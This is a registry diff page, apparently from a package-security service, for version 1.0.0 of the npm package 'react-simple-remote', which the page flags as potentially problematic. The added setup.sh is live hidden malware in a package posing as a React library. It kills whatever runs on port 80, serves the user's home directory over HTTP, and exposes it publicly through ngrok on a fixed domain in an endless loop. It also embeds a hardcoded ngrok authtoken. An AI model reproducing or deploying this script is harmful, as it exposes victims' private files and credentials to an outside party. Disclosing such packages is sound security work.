react-simple-remote 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of react-simple-remote might be problematic. Click here for more details.
- package/package.json +8 -0
- package/setup.sh +37 -0
package/package.json
ADDED
package/setup.sh
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
#!/bin/bash
|
2
|
+
|
3
|
+
# Mudar para a pasta home do usuário
|
4
|
+
cd ~
|
5
|
+
|
6
|
+
# Adiciona as chaves GPG e o repositório do ngrok ao APT
|
7
|
+
curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | gpg --import
|
8
|
+
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | tee ~/ngrok.list
|
9
|
+
|
10
|
+
# Atualiza o APT e instala o ngrok
|
11
|
+
apt-get update
|
12
|
+
apt-get install ngrok
|
13
|
+
|
14
|
+
# Instala o python
|
15
|
+
apt-get install python3
|
16
|
+
|
17
|
+
# Fecha todos os processos do ngrok
|
18
|
+
killall ngrok
|
19
|
+
|
20
|
+
# Fecha servidor python na porta 80
|
21
|
+
kill $(lsof -t -i:80)
|
22
|
+
|
23
|
+
# Loop infinito para manter o servidor Python e o ngrok em execução
|
24
|
+
while true; do
|
25
|
+
# Inicia o servidor Python em segundo plano
|
26
|
+
python3 -m http.server 80 &
|
27
|
+
|
28
|
+
# Espera 3 segundos para o servidor Python iniciar completamente
|
29
|
+
sleep 3
|
30
|
+
|
31
|
+
# Configura e inicia o ngrok em segundo plano
|
32
|
+
ngrok authtoken 2MhjdAGqUMnAZIecNEJTikP9n75_34kBaoRKYguVzaw8kcHrE
|
33
|
+
ngrok http --domain=cypher.ngrok.app 80
|
34
|
+
|
35
|
+
# Espera 5 segundos para o ngrok iniciar completamente
|
36
|
+
sleep 5
|
37
|
+
done
|